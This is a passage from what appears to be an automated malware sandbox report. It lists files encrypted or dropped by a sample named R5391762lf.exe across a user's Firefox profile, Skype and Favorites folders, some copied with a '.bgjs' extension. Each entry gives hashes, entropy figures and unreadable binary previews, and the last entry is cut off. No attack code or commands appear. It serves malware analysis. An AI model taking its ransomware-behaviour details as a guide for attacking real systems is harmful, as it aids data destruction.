Preview:	mozLz.`S......5.X.A.M...~u4.5I.X...t....H.S."...t..k...:8@K1.W...d.K.....=....w.DWD..'w.R.t..c.....O(..J.Nw..cX..]n.,R.I.$.....p.}(.....3.yi/.Up.d..kE\.)...>.(..P..AR.l..v.l...C...s..<.......f.,)....._........W.....U....V...).D...@.Z..c..]..Y..P....X.Eq._.3dj......c...<.49....V...s..N...<C.k...d .S.4......c...}.(...N..>.Np..S{._XD..$...@C.F.....b." RSiD...T/..}...T...6..3h.`8=..p.Qw6.;...[...Z.+...a........y.*...ucd..=k6...&"V?.1..^....rJ.=V...4O\Qa.d...?.N.+.....C....\x.A0m...+...[...K.E....0...>.L...3.).r. y.R......&.uPKA..D7c.". .3......g(.J..>.}...B%..l}}..Ud...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	7.647470753861178
Encrypted:	false
SSDEEP:	12:YoV+2civPjgZN7dp3y7VIP0+6TaUfSemFuu4U2tXwXqOTuWcii9a:YNriUZN7dp3y7VIP0+6TvD0uzKXq8uWX
MD5:	59147DA114F80CBB7495E7F4F3902F53
SHA1:	3ABFC87BFEBE384DC27EF2BB23AACB92C06DF7F2
SHA-256:	6B535EB30D0FDFE87BBFF51A5CBDD89BDEC0FC3C02AAF5DCB44847B0B0BBA238
SHA-512:	4AE9998CD7E56AE1C9DFB7120D419516F694EBBFBE72D37FCF6F15B0876718689AFC5C8DE61565B6369CE8AC9AF68E7FC5CDB8867E9FA26872A7CAF1B4706733
Malicious:	false
Preview:	{"pro".xT..)u.Or.9....d...s.Ap;u#..P@..[....a...X9..pJ.m.......s.qZ......n?,F./.fk...+....c.].S.N.V.q..a.'.\|.K..........2.j..}*+r.jP...{WL.Pw..)."<..#.OtPSzu@..M..v...]..:4/...3.,.6^.F.j.+.+L..p1...[.r.&.E.o_6Y.N....d}..>..=.-.y.U....R...D.V..i...#..@.X=B.:=.5>...\....".r.J..\.....d....D...p./.](,/7.....Z..D....3.j/..<d.. ...cJ.}.9$.=...sa.....T....-.{4...u..Fl..Ca..\|%..k...di...V....D..u..i[w...l...~...1..l6G..-x.....S..FW.P...'......Z(..:.1....nN.).O@k..6.<G.g.q48..,...J.".knS...=.S.8..N.....\|..pN..c..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\previous.jsonlz4

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	7.864369747575682
Encrypted:	false
SSDEEP:	24:FiZfRfW0RGur31UFZ8001cgTG1mULU0rRwb1b6EP4EOaVVU08tmod4T/bDXq8uWX:FiFBEBFZgDF7pmI4gVVU0HodwbDXFuED
MD5:	233CF7314CEDBCE8E576B339A8A77492
SHA1:	A7011A9D3BFED085A20237B26F7450E5CDBC2B5A
SHA-256:	CEFDF7332435BBA353F96C3CE241AFDA8987675E88A6CB0C31FCDDC1B778FFB1
SHA-512:	10F4B162558B1DEF8412FED7669708CE53DA73516496B826535AD03FD490F697E4B47B1D4AE936E8DF0B91048019CA11BB7B564E69232F2B5CA73454D02BF026
Malicious:	false
Preview:	mozLz.q.@.].6W.0......4N...4...8#[.q...L.....4:.I.........k.0t.TU. ..9..g......gr.L...t.D..\6].....l...L...=......v....w.H!."...t.n.:.W.._.e]_......../.....o...xN.a%..w..iM..._.#A.[...~..RdL..v..7..$..(8..W..<......."S.`........x{\9...>..VD#...2..+KdXa.`..F..7e.@..\|_............*.V[7.tE..u..}.h(......a......V&.....2.[.A=.......C1..&..lH....LR.\|.c..2\l.-....T...'i.xD....D..(...7...:.'.n.Q.[..k/zw.yp....X.+..ku..1.D...e...p.f...nBF..dn.O>...az.;[..9..G6hL@!.u.4'R..{..w\....!.$......B..[/d....G.n....e...`..K..~........L..L_j...DG.9........{..F.^..Z.....=......j.^.[N...^...<c...o....n.....J..v<;..r.X5.PM\|.:....I.1.h.Mx....,..NBr.....s.......;...+.i.'....3c....p.;-..8O..t4l...M~+..L..l9%.S.-.t.;.8.I..P...E...`...R...w..5. .B.Iz2+.-T..@...B.....>8(.h.........z.e.....V$.....p..BEoj.5gw.T,g.sdn...-.....B...E..=bG..K..YV.H_....O...sjd.2..s=~.c..>...S.=..$.....C..>...H.N,...\|W.cn.F.S..`..18^.D.Q.u...Q.f).E.....#`=.4V.>pf...I..j$...]k,..D...

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\upgrade.jsonlz4-20230927232528

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4749
Entropy (8bit):	7.953331935423366
Encrypted:	false
SSDEEP:	96:iW0zfKIxv5XGW8Ny1lfZs6iRQGpl+HyPBVOkKWXD3eURvfLwYrvQ7WOPZjAFuQ:itf7V5WWGOLsNRdT+HKOgT3eURs2gWOy
MD5:	4F5B1E7FD79EFEC86654C1DDF3802C28
SHA1:	DF24DBCCAFD2A5107674FDECFC87E95CAB916CFF
SHA-256:	6ABBEB43BD3DAEF7BE245D490E81CCBA27D53FE4CD9F1E6B20185E074E67B86F
SHA-512:	C14F4CD66818CC867C87EB204EC132AE2DB3793C3597E4CDFFBC4FE34C80704E429F69016AD606338BC81DFB419EC77B75B7FD7CDE131B374A6B30366AB3FBB2
Malicious:	false
Preview:	mozLz\|......cYb}....:]5/,...vS...?...0]H{.;.9]._.o ..v...J..+.......[..tt.......R.B.[..k^..&g~.....I.A.K{!..q\|...(G....,..X...#3... .h.V.2.#...D.\|F.....Y$..1.....fd...... ):w.;.]..7.........7J&.M..?>..b..u....S.O..;X..;J....7M.2....X[.....:..Up.~..,.....Hm5..o..:.?...vGH...D.#ce.....fbz.ea...w..".3.~.)....`,>...j....Q.......8J4~.;./.(.s.........M....).z..!......F......".[...u.0.....r.....f.]J..9...>...+.,$.R.9..C#......^70W.....WN.ee.H/..:r37;..l#...Y....QzM...L.$.(.........{.dj.Q.I.x.o...^n..$..G..(....J\|$.O..~r.)...P...eW}.i\f..Q......I"..}..]VTnj\..v.k...W..Y.5..z....E..X..?w\!....0:)\|.;a...].?..].g.C..#.=$.U.KX.......v......Z..q........u..+..\JyU.~...~....#..m.....%.YSZ@..s.[p.......U./..".....K.%V.!..t.........X....g..zc....D.O.....A.q../.2.X.b..wE.A.x..n..HIR.l....tz.Q.`..z.j....J.zCo...G.....R..,Rk..zU..v.2...7.M......5..Zr...?...\|..'...$.(......2:"......i_.~..^...F.?D......?.....k,... .<I.<.o..d.s.6,.%..Cl......+fL5{j.N@...37

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.862615879716135
Encrypted:	false
SSDEEP:	48:Bf4rt9jC0QB8O0kGEI/zwhvJTL7IW0zIX+uIXFuED:0t9jRQB8OCEI/zwhvJTL7az6+uuFuQ
MD5:	DD18CAD2E73F0BEBDB3269A8813ECE3A
SHA1:	02397C7667A0F10F74C2515B1CFBC72A2C7574FC
SHA-256:	05F9D361222AD1404997839F340BCE9D3979A1D9ED43C96D7F5E438387ED1257
SHA-512:	726567C313CF64F0C290B212F3A718A497EDF27D00B190963DD0D9B04E6EC08307CE08336D1826DA403FEA75B313768991CAF40E1E659CD93A926B5E379144CF
Malicious:	false
Preview:	mozLz.......f.l.]\...\..D$.u.b..@.=.SSM.E.t....s.9S..rc...T.Q.2S..C....+?+.5.......I%..S-.B..hc........1.5:.......l..hT.......C..s.p.{..oDl$...km....a.'\|..e.)4....d...>...dMo.....0RC.\|....$..X......W.soe..'.`.......;...6B..^.J..#...+..j..u...N..w..Q.?.+...]..:.+....P...G{. K~Z@h..W.z.lk.H ]m..f........J....8~.i($X......SH.x&.4Fj...".g..M.,l#...N.....X....V2."\=x..i.H......[..AAf'!?.2M....zF~.....m.."......[s..8Yh.V.f2s$..Qrh>+...E...8.....J~...&.Q.Y..Jy.x^g..X.......K..;...C..4.uVu....)b.cK0......j......._!.;8...Uq.Q.d....B=I...."Cg.y...\.".@...........nT&]....v.....R....J..-.p1k...>...u[\q.....$..a&1..MC]9%-y7dL.."..R......i.g.e&k..........Bmo..R.E..._q...B...i?.H..P.2.J.h.W(a..~....0.l.h...&.h,.SV.R..Z...2.M.H.4..l.oAW4...jB.....P....,.sk])V$..$U.^F....D...@.n#L.)m.^....c...f.J.k...L..{.6.j..[....'...i..k.=....P.5.o..o...Q./..b.['.N.0.Jl......(y....E."..m"..:u..T.....9O....Q.3.....f%....Iv?.6.......i.C.H%.u#r.k..l$.......V..v...-...l...'..

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\shield-preference-experiments.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.275705084970295
Encrypted:	false
SSDEEP:	6:YAaZU3kHU/557jv2/pyGlF7QGzy/Xm+ke/kI0oRcPs1yX23ctXqHk7T3eWcii96Z:YLQkOz7YpycPeSesJatyXsuXqOTuWciD
MD5:	0AF2F8BE233A0090E2074F0D80BBCC7E
SHA1:	E00E16FD42849DECEFF79168B6B0DC7F474346A7
SHA-256:	D2B1FA9D4BAD775B7941D6AB93C508692D3A2E1480F8E028390BAB6B2CEC34D2
SHA-512:	8FFEC3C6BA33220D9DBCB23143FFD1537F2EA59BB31D55CC6464882E997AD31FD095C23B923168510E5DB9536B4CB5355E9F1EE433DA8DB3C4C2095EA0FC90DD
Malicious:	false
Preview:	{"exp!..~.(.e.v.K...dd.....aU[....s....D.....`4m....rX....#<8...q..'.Io5.../7...dwj..W.4.[/.....O...-......g.o.>z.@.j.R.h........].....+J......X`.j.\|..a..R .....L`..$/...O[.q.}I....[...V.......Vd... .....+l..%..a.'..I.r....jL..s......@.......nH.C....&$`{G.V.!.doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4430
Entropy (8bit):	7.96223286559485
Encrypted:	false
SSDEEP:	96:ZK34mUxkDXSz0a0ybOM73PlpGay/BsnRgoCyFG2kkvIaFuQ:c3h5rWd0ybOePlpvmFkwxQ
MD5:	061FE5FB5549497FBBB1006C47DF48F2
SHA1:	7D67C474002438708F230A86AC31494C23BDC181
SHA-256:	A6AC66F9C4995791D4966FA18C72A69472BA93AEAD6A8A1877E4F5FD5B224114
SHA-512:	269EE1DC7649298F3F319B629DE9F4EC163FC7291ECA44488BBB6FB066E9D14A5870EE37C49D68E528A6403E846F12DF182569C05E0E9060CE31971AEB54D49B
Malicious:	false
Preview:	SQLitIl.Pz....$3d......OF....A!.\YF....[uc=.O.H.vu/w4'.c..^%.u...Y.....-v0KL.....,.....~cN.3..WT..Tn'............5V.`.....C..!.......M.^W..A....)..'!...g.r.B..5....X.....@. .dt...6.1...b.$........l[.....'....Q.X.....\|_.qodP.mA.[.#.p.%+..w....I..lR.U...u...4..i.l..:...D.s.....v.N..ss.j.{.U.Xg...v...H9B...1g@.m....k...b......M5K...r.{@.....#../.H...'...6.5...d`.../Z...`......)...).+L.....B............~~...FLE..4..+.N.@...@....a{...c..................{.u....\.$.0...D.....53...y`../..-..%o....G[...\a."..E}'.(zKx....f..........5).....2..'M.CV....O.\...._.7.,......9.VzZ......W({..^..h..$.ZTc..}p..t....t....F...\|.3.J.iN..B.b(U...a....c.......B{.zy.9...?q...iS......8.)<T........_.9.l;.......Rt2.......#...C..-....^T..2w......o<C.......FW.*.r1...A.Oq......p.Ng..E..dW...n.Em..j.E...#....._...A{...C..~...)L._^U\|.6.Z.7@. .y..q#ir..3eD..F{B.E..[j.~..V...:.{P.X..v..8....Q(FZ&..s..Zs....Xo.i.....2.._P.X,...N...M...q.,.R..0...Y.\|+.@.N.s..f.3...m..f...D

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	131406
Entropy (8bit):	7.998563273409743
Encrypted:	true
SSDEEP:	3072:8Yy3jUlRm02PlK5pcThfHsq4gvaReGKb+LLyDhcoDH:hy3AXoGpchh4LGamhD
MD5:	3997B0CD9CA68FA84D2678591E4DE00E
SHA1:	4532291E0982F187E964D656B0D2F131B7980D92
SHA-256:	1422A1440E52341E763E849D0048724FE8F3D557CB8EEDF0B99EF1E88D17AB0A
SHA-512:	8EA326A1AC59B016EED89FB2D1810B9282CDCAA77C98976C90028523565352988A59A23729F2256DD7259B590F9DFBB38FD7EE70E3183649BC5C56B0DFBEEED7
Malicious:	true
Preview:	SQLits.\|[.i.f~..}.vLH..p......<L..?.b...H...U.)v.?.X.P...s....g.M3.u....$.;.C ........k..6..-......1....8Vk.........x.4./lG.?....0-..BF...2O..t.Q...N.(..6.S...%.......m....p.>...,^..+.....'.U.r.....;...p........7=....l...;.]..g.......:.G..n..w.....(.....Q.\|.......DEzv..{.K.J.yQ.F.B....r....u...K.I...s.{..z.\$..N......x..;.=/.n....6'6h..E.z...h:..\|N....(~..i..Z.6fl..S.+.c..,...K`.....yN....d.k.r...$.......C.&...S...Zq..H..9.vT.....K.~}R.....C.......}.Y..]+.[......9)d.m....9......y....].$?.#.jR..].P\..p./..Y........=..I....."..h.....C98.=..Wh"....{j..`.o.~..A.B...f.G.KP..9!...m~..W.Q.=.n".;E...M'..O..7........a~D.9.0<gpG...Nu_.`.=%.>A.r..{PU."iW...d.h>Cgd.=..F.<.a5......... 1 ..vP].F......\|d.q.. u.K.p{..j......K:..~....3.......@.I&7t...h..C*fB....;:..ys.M..>...Ijx[Z..0&.C....R%..he....9....x..X.w..Q..z.we.3..8}....n/'..-@?.gIp].d....%...L......2...6..O..,.N.F.J..K.s...9.3.......L.>...D.;.>o-...9...h.0EG.,.I.'.f.v.9..4S#e$...;[..>.

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	4021
Entropy (8bit):	7.960949020316295
Encrypted:	false
SSDEEP:	96:Eszc//cLoHS8CBwzgyRMkkV++6Qrq5NYLlIFhncFuQ:Dzo0BwzHE+jwlIF9Q
MD5:	8F961ECB695BCB19382E119C08E79815
SHA1:	DDB244311E3BC1A2EEE77BA2444690D2E19AE37B
SHA-256:	E6B4988E5CF82C9E404B1CD414F2D9C8297DA5F2D68A20884FCE9477A0C0B255
SHA-512:	5F8E4EC4B81920B71F33BCBC0748B9B0D47D8962992AA597D92A539B7733794A0B656F945270DE9DB7A3C29EA46C9DB6939FDE1977E0CF2FE4F29571566223F4
Malicious:	false
Preview:	{"env>Q...7%.T..x.+.4......)......Z..M.H...........>.................[..T.?... .WK....!.7...#...M.6..g..w.w...,.01 .K.Y..........aF_t.,.k.\|/[......%.)R...4.........C.:F.<-........D...z8!...h1.ve..!....~..@.~R.=.._..k.._.)U..t.Q.8.P."b4.L.4.i..1....M.tQ.U.rm....t.U&...7.+...#v.}.aU.sZ.3.....Y\...3....g............u..,.1.]jm.u&...S.w>.z.ZL.;.#.5[].@.....@...._.......}Qh...\)?.~......7[.#cF......n.L....h.J..n.."i..8O\|.......Y.X0<>\..8.......u(.X...,Z..6...c...~.S.e..5r.yl.M..@.>.Wz>.PD..6.......J..H..=....k......f...:....}....HB......9..!..B..;.../.....Z....?y...,....R;Cz.. ..g4$z...v.J..CQF...+.D...=.=..w'..G._..5=..t.......y.=.s..N...,=P7c.W.].%..<HN.=O...a..he.E......\|=..S.M.ud..f8.f.h...@P...G/+...i.C...u3C...t.&.....XU8........;..t......l..a.0p..U..%.zYqQ..2........T......P.X...P.D....]...f.@c.c;..E..].T2...}.....v.....&.1.3_.....Q...a..e.......h.(3...............;....y....E...~VN.a\...&..../$....%wn`.UVWs.....o.z..c....}.'+<

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	384
Entropy (8bit):	7.355348709739017
Encrypted:	false
SSDEEP:	6:YGpZlso8UQE/OkQkbTVGCCDpf25pbT60ZBB6lSRhZuk13WHaeleftJZpFMC0dtXp:YGzlseGLDYW0ZBwkVWH9MhM3DXqOTuWX
MD5:	49DB4CF059146FF8D16467CF608EF661
SHA1:	ACE34E26265EA4AB7CA6E02B7D2CD6A5F1020C32
SHA-256:	728DCA320DDCB01DA0DB17B45CF3AA6FDE7303D0E3952FAB4662F2E2F95818C3
SHA-512:	C240D07DF849F8A6682EABCEFED883342A97B420EE16847F510219547E35153B42FD853B9D2DC9FDB8399D19CC005C3A91BE95ED0F0E45C1CDBF74591B67F13D
Malicious:	false
Preview:	{"cre.4j.3.....P\}....Z._\|xu..J...9......n.l.UcG..x.g....G..b..t.\|.hk..<..\|b....M.NAA.?....\Ov{d.(.0V&...4..sZ.8..a....W.eN@..S..S........N..2.\..E...~v.(C..J.o.z..Y.^L)....<..A{.p...SX...{..,". ...p..{..n...$..x.....L.\..7..-Kn./..v..N.{....j+..t..I.`7\|..c..M..P,.*...p0.t....8o....i...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	98638
Entropy (8bit):	7.998112818874236
Encrypted:	true
SSDEEP:	3072:rIg7pg7yW+FQf0JCC4u32jSxc+CIlIQSFu:b7oX+LJrcSHCIlV
MD5:	16CC5A15FAD4F3B4E433818D746CA796
SHA1:	1ECD860EE788B073E7B2502F0190E259486338E3
SHA-256:	47E725D54EAB05EF823AE6F328BC2EC3CCC367384A4AC9A6911E9DB9F1B6BFC9
SHA-512:	BE9F5212E35ACD15C74CEEA127F9C199A9089AB4A9D5567F301A265AFF26B159E58B1B322F0A51E06FA50DD071FAC8335958ED2432FBF44D33A38B34C1BBAD86
Malicious:	true
Preview:	SQLit=..V...]....K.<.......N.....a8QV..cGn.+..MvGMj......8.8.Sa.e...+P.4.91...z....~..d.G{@.5.4[e..lAK.K.1&.{.....x..k..=.D.Ms.Y....f.... ._d..Kf...j).Ri.A...K..5.a.{......B.bD..[m...5K+{.g\.k."..1...o....i.r...L..J .z.C.O...`..9..X...9'.E.4.e..;.HN...6...1s..V.8.DW"C%...&...p.?3\...W.`\|V.p#>.0......qKAE..{..:S ....&Z..p....~K....Q..^..N..J...;0^...zd..1....o...}..5lkQ.o......w.c3\<..z.8sg......_i}.LC..Rp.z...t..:.3...!].......]..S.bR...#...D.RS..........&{v.Q..I."A...~ny..YRt.H;5)......t.Z...\..q-{8:O..r........YN4.h..E..>.W..........(.f........%.-5..z.V.......0..m.Kg.6..`..<.C.l......r%.<..[..F......b/.f...E..4\}...9+.0S...t?.J...;...p...B..jf./...r...G......]..a.6...v..."b.......E^..N..(.Bd.f..j2.h2.,....y$.G......f.Q7x...gd....QQL.U..".}..V..x......H$u&;.2NU...~....H.......qv...]F.....K.v.Z...$pU.:.k...d..tb...m..8.)N.{.F.mC.......s.[...../...<5../i...."..E ..yaB..S.<.*TT....w.....)t.z..\|.._..4.q;.}~$...#.$.'.h....g....T..n~..1Z,..

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	33102
Entropy (8bit):	7.9937279745905405
Encrypted:	true
SSDEEP:	768:y9fG30xZaYkrjBwr+jZDw7Q2OV4k8AqLuxEmD45IYH6i1:ifG3g1ew8AONq2EmD4S81
MD5:	62D17FE75A24A14132B59890F767F62A
SHA1:	0E3A361A5EE1363C33205788228A976DF772B8C6
SHA-256:	707796054FC1543857BE9C60FCB53D9689E45A34B8AB6DCFED1357DFBD601BEB
SHA-512:	1B303A5B06BDC2DA8B30E56D0087C9BE6F11E935232964FE2D726D9CC9E09EC3D0DD7148AB4BBF546C5D841E63F43D254758FD7DB365916614F660EC83F05212
Malicious:	true
Preview:	..-..C..p.6.g.......u....v..-FN...^!...I....6o^.....gf...F...oo.n......nt.?V.\|]..9i(rp.E.R..\|.B.!.J1..z.,N.2fY..N..7.6....u...9!..../.y...S...1....5.Q.GW..&1J.x+}.`..7....+.qjb..V...)......P..}.A&.S.p.#+.".DFg.5..K...k&.X...b.....aO.a.....r..wtw.#.c7P..(.bo.+.H..+.......u.w....[.5..e....i"r..e......+..i..$.n.7.....4D.....c.........0..$0-.8...P/.!...4.6.....v....JCF...m.f..\.9.....9.D..U.~T]S.@.9N....J)...W.T..ZO.-...%G.!...>gC.u,.kC..eu..>V.zG...g..r..`b.D...TN...NT..,....M.{.Y.r.}.e..j...,........o4......<.".Bc.-......J.bJ]..-..17..,.'!..x...q0.....o.5W.......[.Z..)..e;.z..>....b%..G..f.a~c.p..0..).l.."?....wE..Y..F.^.ly.Xx.f[.....b..Nn@..,F...@./.....g.6'....fu:..._.6...c..L...g.....Q.:<..-..9.....DM>....1....2S.s.._u.2..l.....-...n{..$h.]..a.?I.$.@....K..M..[WH.........#2..`w...p.B.J..$!........Me.....>......{p..]..9)..z.eS7L/:..................G...<..5.....Nq.....Ml...E.ao.u.....:...!&(.8.....\..A..W.M ..C.q..qU<.`.&G..#0. ..N.

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	454
Entropy (8bit):	7.355329169741675
Encrypted:	false
SSDEEP:	12:YGri6H3F2+iRJCfJp00aFII9DdwXqOTuWcii9a:Yz6H3FEDCBhsDuXq8uWbD
MD5:	2B3545521F9B0692A9778FA1CBEE3AA0
SHA1:	FBE26D0B68FCE63DF8E8128E10603DC5A6D1F46C
SHA-256:	A9A5E311A1DC1E62F7EE59D1B4B70D66A9B912E4865F51F2CD0271FFB3AF75FF
SHA-512:	96AD33584898708ACAFB9A2B4E5CA96448FE46E0F2858C86945C2C61DC804334E19A4A423E29D91838B78DD4979DB2BF72C58C1E6B7219CF12B75B66D72A95EB
Malicious:	false
Preview:	{"chr2..'g..w]E..m...N..G.....H.}ip......U+q..a5b..X..T...s....n..WL4Sx^$..?..Z...$.7.?...cd6p..a...w`.F...(...l ..,"....c.....O(p..Yn..K....}..j..$&.FU5t'..z...o.K.I.G..nk........c{...ZX..3..Z.N;......L?.......!c-..E.....)........hi..6..X.Ul.....+\|....l.Bp..K..-%...._...".Gp.kF..g....ah..JeLs=..4...+..o....z.Y~9z...5e.k".7"...O.}.k..D.e.?OYH.!...Q...=8U...doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	381
Entropy (8bit):	7.207806211354733
Encrypted:	false
SSDEEP:	6:s1i7gYN6iLCDlT/wXvPGazUU4JEDoJXItXqHk7T3eWcii96Z:2i7rvLCDlT4/N2ojXqOTuWcii9a
MD5:	44BA647931119D23AA921257FC05E302
SHA1:	FF0F2D8ECAFB46D6EA3B9A507B2B4EAB71261934
SHA-256:	CD1FE19AEE7F5A4A254133C0741D9BD0B4FBFC7CB1C713037E59F372D9B15AB8
SHA-512:	4E5403F0CE74A47605037067A932641CFCD7515A031A15FF537EA24A9EF1C0536FE5DAC62A10B565DBE6E4EDAA699374F71E4764675D9F6A1A6A25D00392FC8C
Malicious:	false
Preview:	{."cru../kJ^...}A...B..vfsj;.%...=...>..V....L<T..".?abB........;.e..UL..{g.N.@.............p%..d..L,........{A.N.{.<abO..>.?`......p/.T......fN.y....dB......C}.../......u.X&.21.>^`olbq..S.K...ru..I]B.le.Es....-...cF........<\|..!B.-..V...>..V..Z.kL....E..K.j.:T`...~...u.....E.@^.....xO.1..8doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\AppData\Roaming\Skype\RootTools\roottools.conf

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.40503039853908
Encrypted:	false
SSDEEP:	12:YEnTtA4YWoIfohS4hNQQoeGApXqOTuWcii9a:TTMJQ43QQUApXq8uWbD
MD5:	8C238B092DE6E16B180774501E96DD3B
SHA1:	702A56E4E379507E950B7162D074EEDCB0A24ACC
SHA-256:	24345987E0A57EA7BAA7CA9BE9B861C226782C5F4063A3B1A1E6F56DE9ECE189
SHA-512:	724AD636D8DA87E3A31A84D2238F3037205ECAE397F6205DA1C89655A916BF160110D1DF0C9F869D9DB0B9B43AD590E1A850DB97D588C0F52262F3A314F993C4
Malicious:	false
Preview:	node_.6.......d#....`aB.v...Q..Kg....c.....pv.;.,....e..Vm.....T[...~....\|3..\m].F.;.x%...n.~o.j.3Rb.c.....q....A...Xm(n.cl._........}...P..&ov1..~.4x5.F...3......h.H..mq.....18mB...:?..........y.j@'....]v.>.fH.{;)..f%.>.k.}...\|."..w...L\./..;..M..8{....y....\|.*/.]kc=.\|.g.U.f.@...>..w.......~..k{.:=.K..&.K...+R.D=..Ddoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Application Data\Skype\RootTools\roottools.conf.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	410
Entropy (8bit):	7.40503039853908
Encrypted:	false
SSDEEP:	12:YEnTtA4YWoIfohS4hNQQoeGApXqOTuWcii9a:TTMJQ43QQUApXq8uWbD
MD5:	8C238B092DE6E16B180774501E96DD3B
SHA1:	702A56E4E379507E950B7162D074EEDCB0A24ACC
SHA-256:	24345987E0A57EA7BAA7CA9BE9B861C226782C5F4063A3B1A1E6F56DE9ECE189
SHA-512:	724AD636D8DA87E3A31A84D2238F3037205ECAE397F6205DA1C89655A916BF160110D1DF0C9F869D9DB0B9B43AD590E1A850DB97D588C0F52262F3A314F993C4
Malicious:	false
Preview:	node_.6.......d#....`aB.v...Q..Kg....c.....pv.;.,....e..Vm.....T[...~....\|3..\m].F.;.x%...n.~o.j.3Rb.c.....q....A...Xm(n.cl._........}...P..&ov1..~.4x5.F...3......h.H..mq.....18mB...:?..........y.j@'....]v.>.fH.{;)..f%.>.k.}...\|."..w...L\./..;..M..8{....y....\|.*/.]kc=.\|.g.U.f.@...>..w.......~..k{.:=.K..&.K...+R.D=..Ddoc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Favorites\Bing.url

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.510089339980089
Encrypted:	false
SSDEEP:	12:IMy0xB/yj2ViQb9EXQnat3Bc77rr3inCQIEXqOTuWcii9a:QKLViQZapCWXq8uWbD
MD5:	0CD21800FD11F5568F44E075A53F718F
SHA1:	977A48493B83421AA0674289E3CFC9C9BDD4C16D
SHA-256:	6BAC22E6CEBE2C90879811447CABC71E147B2FB7651A38BBE8DFB387AE96C806
SHA-512:	BA37FADC5D9725B9C7F1A4C8F063C98409FEC5DD37FCC4F225A76D65502C3DAD9F33BBEB26F2CC17F97E9D7CD84264CDDB38C2812BFC66D2DAB41DD4E2A4C0C1
Malicious:	false
Preview:	[{000.._=.D.n,..{..?.......aH...D...........6.........\|p~_m....E,Iva..4..'.mY!....H.[+.=..O..........nE.....p.yA>Iw...AT..W.$&..O-uf..3[.!I..G.K.=.. ...+...r@e..B...)!#.as...%..uq\..qv.Y-f4.(.;...W..s.IC/...j.......1%l.X.1...8...........P1...F..XI6_u1...o..S .Ff..:.}f.wf......&..x.unG..NV......4.L...*tc..!@<=S}........W.x..w.8k...X...KG....1..O'....>.P3=.......H_.e..f7.....+.%.`.....<......n.#.[..+e..}.M..X..{.%z...R1..h_..d'f.B.t..doc0QOgEjKBd9id4JIag7gcdKbtNSaUgho6ODH4e{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\jones\Favorites\Bing.url.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	542
Entropy (8bit):	7.510089339980089
